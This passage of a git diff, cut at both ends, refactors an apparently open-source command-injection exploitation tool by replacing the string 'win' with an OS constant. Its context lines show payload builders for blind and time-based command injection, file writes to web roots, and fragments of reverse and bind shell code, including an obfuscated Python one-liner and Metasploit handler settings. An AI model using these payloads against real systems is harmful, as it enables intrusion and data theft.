settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": @@ -154,7 +154,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p = %i " + settings.CMD_NUL @@ -197,7 +197,7 @@ def cmd_execution(separator, TAG, cmd): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index f2f70c50d8..6c3a72395b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -54,7 +54,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -73,7 +73,7 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ """ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -87,7 +87,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -103,7 +103,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -123,7 +123,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -143,7 +143,7 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -164,7 +164,7 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -220,7 +220,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -255,7 +255,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index a030190b34..ea5213211c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -33,7 +33,7 @@ """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -91,7 +91,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 2ea127a434..1f6caab6ee 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -64,7 +64,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT @@ -74,7 +74,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == "win" : + if settings.TARGET_OS == settings.OS.WINDOWS : example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" @@ -94,7 +94,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): # Set temp path - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: @@ -121,7 +121,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": + if check_version[0] > "2.3" and not settings.TARGET_OS == settings.OS.WINDOWS: # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: @@ -160,7 +160,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 18af48a258..8db00d67a1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -336,7 +336,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): try: shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace("\r","") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 549142e079..b724351665 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -26,7 +26,7 @@ File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" ) @@ -42,7 +42,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): """ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -60,7 +60,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True : payload = payload.replace("\n", separator) else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -73,7 +73,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): if settings.TFB_DECIMAL == True: payload = (separator + cmd) - elif settings.TARGET_OS == "win": + elif settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + @@ -92,7 +92,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) @@ -115,7 +115,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", separator) else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 02832e9f77..762c51dfec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -52,7 +52,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -69,7 +69,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -83,7 +83,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if target_os: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -93,7 +93,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, distro_name = output if len(distro_name) != 0: target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -113,7 +113,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -131,7 +131,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -150,7 +150,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE # URL encode "+ " if POST request and python alternative shell. @@ -259,7 +259,7 @@ def reset(): if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 74008aa710..5bb9a25ba5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -35,7 +35,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] @@ -104,7 +104,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 2f4e6dee82..3e13b9d206 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -52,7 +52,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT @@ -266,7 +266,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: @@ -436,7 +436,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) # Check for any enumeration options. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 11f0e12f70..c7e8013893 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -176,7 +176,7 @@ def custom_header_injection_test(url, vuln_parameter, payload): """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -255,7 +255,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Proceed with the next (injection) step! if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 @@ -359,7 +359,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -428,7 +428,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese break if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index de5cc74bd9..28be4164dc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -26,7 +26,7 @@ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -95,7 +95,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -160,7 +160,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -168,7 +168,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -262,7 +262,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -330,7 +330,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -338,7 +338,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ Get the execution output, of shell execution. """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -402,7 +402,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator == "|" or separator == "||" : pipe = "|" @@ -458,7 +458,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -466,7 +466,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t Get the execution output, of shell execution. """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -524,7 +524,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator == "|" or separator == "||" : pipe = "|" @@ -581,7 +581,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e29c32a397..5383171734 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -234,7 +234,7 @@ def estimate_response_time(url, timesec): url_time_response = int(diff) if settings.VERBOSITY_LEVEL != 0 and _: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) @@ -258,7 +258,7 @@ def estimate_response_time(url, timesec): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == "win" : + if settings.TARGET_OS == settings.OS.WINDOWS : timesec = timesec + 1 return timesec, url_time_response @@ -848,7 +848,7 @@ def server_identification(server_banner): found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" @@ -925,7 +925,7 @@ def check_target_os(server_banner): settings.CHECK_BOTH_OS = True check_type = "Unix-like based" elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True check_type = "windows based" @@ -938,7 +938,7 @@ def check_target_os(server_banner): got_os = common.read_input(message, default="", check_batch=True) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS break elif got_os.lower() == "u": break diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index b1bfe55630..7ef833aac8 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -284,7 +284,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -375,7 +375,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -420,7 +420,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index bfbdedd77d..2969dc7b8b 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -376,7 +376,7 @@ def other_reverse_shells(separator): "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ "globals(), __import__('contextlib'))" - if not settings.TARGET_OS == "win": + if not settings.TARGET_OS == settings.OS.WINDOWS: windows_only_attack_vector() continue else: @@ -418,7 +418,7 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -462,7 +462,7 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" @@ -477,7 